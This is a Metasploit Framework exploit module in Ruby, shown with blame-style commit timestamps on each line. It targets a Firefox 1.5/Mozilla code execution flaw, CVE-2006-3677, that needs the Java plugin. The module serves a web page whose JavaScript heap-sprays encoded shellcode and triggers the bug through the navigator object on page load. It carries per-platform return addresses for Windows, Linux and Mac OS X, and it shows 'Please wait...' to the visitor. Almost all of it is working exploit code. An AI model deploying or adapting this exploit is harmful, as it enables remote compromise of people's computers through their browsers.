2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-04-04 04:37:30 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
require 'msf/core/constants'
|
2006-07-31 02:50:41 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2006-07-31 02:50:41 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2006-07-31 02:50:41 +00:00
|
|
|
|
2009-07-22 20:14:35 +00:00
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
autopwn_info({
|
|
|
|
:ua_name => HttpClients::FF,
|
2011-06-03 23:47:44 +00:00
|
|
|
:ua_minver => "1.5.0",
|
|
|
|
:ua_maxver => "1.5.1",
|
2009-07-22 20:14:35 +00:00
|
|
|
:javascript => true,
|
|
|
|
:rank => NormalRanking, # reliable memory corruption
|
|
|
|
:vuln_test => %Q|
|
|
|
|
is_vuln = false;
|
2011-05-17 22:44:39 +00:00
|
|
|
if (navigator.javaEnabled()){
|
2010-04-30 08:40:19 +00:00
|
|
|
is_vuln = true;
|
2009-07-22 20:14:35 +00:00
|
|
|
}
|
|
|
|
|,
|
|
|
|
})
|
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a code execution vulnerability in the Mozilla
|
|
|
|
Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
|
|
|
|
requires the Java plugin to be installed.
|
2006-07-31 02:50:41 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['hdm'],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2006-07-31 02:50:41 +00:00
|
|
|
[
|
|
|
|
['CVE', '2006-3677'],
|
2009-07-16 16:02:24 +00:00
|
|
|
['OSVDB', '27559'],
|
2010-09-20 08:06:27 +00:00
|
|
|
['BID', '19192'],
|
2006-07-31 02:50:41 +00:00
|
|
|
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
|
|
|
|
['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.4 Windows x86',
|
2006-07-31 02:50:41 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Ret' => 0x08000800,
|
|
|
|
'Fill' => "%u0800",
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.4 Linux x86',
|
2006-07-31 02:50:41 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Ret' => -0x58000000,
|
|
|
|
'Fill' => "%ua8a8",
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.4 Mac OS X PPC',
|
2006-07-31 02:50:41 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
'Ret' => 0x0c000000,
|
|
|
|
'Fill' => "%u0c0c",
|
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.4 Mac OS X x86',
|
2006-07-31 02:50:41 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Ret' => 0x1c000000,
|
|
|
|
'Fill' => "%u1c1c",
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2006-07-31 02:50:41 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 25 2006'
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-04-04 04:37:30 +00:00
|
|
|
# Handle the payload
|
2006-07-31 02:50:41 +00:00
|
|
|
handler(cli)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
def generate_html(payload)
|
|
|
|
|
|
|
|
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
|
|
|
|
return %Q|
|
|
|
|
<html><head>
|
|
|
|
<script>
|
|
|
|
function Exploit() {
|
|
|
|
if (window.navigator.javaEnabled) {
|
2008-07-19 05:03:01 +00:00
|
|
|
var shellcode = unescape("#{enc_code}");
|
|
|
|
var b = unescape("#{target['Fill']}");
|
|
|
|
while (b.length <= 0x400000) b+=b;
|
|
|
|
|
|
|
|
var c = new Array();
|
|
|
|
for (var i =0; i<36; i++) {
|
2010-04-30 08:40:19 +00:00
|
|
|
c[i] =
|
|
|
|
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
|
|
|
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
2008-07-19 05:03:01 +00:00
|
|
|
b.substring(0, 0x100000 - shellcode.length) + shellcode +
|
|
|
|
b.substring(0, 0x100000 - shellcode.length) + shellcode;
|
|
|
|
}
|
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
window.navigator = (#{target['Ret']} / 2);
|
|
|
|
try {
|
|
|
|
java.lang.reflect.Runtime.newInstance(
|
|
|
|
java.lang.Class.forName("java.lang.Runtime"), 0
|
|
|
|
);
|
|
|
|
}catch(e){
|
2006-07-31 02:51:43 +00:00
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
</head><body onload='Exploit()'>Please wait...</body></html>
|
|
|
|
|
|
|
|
|
end
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|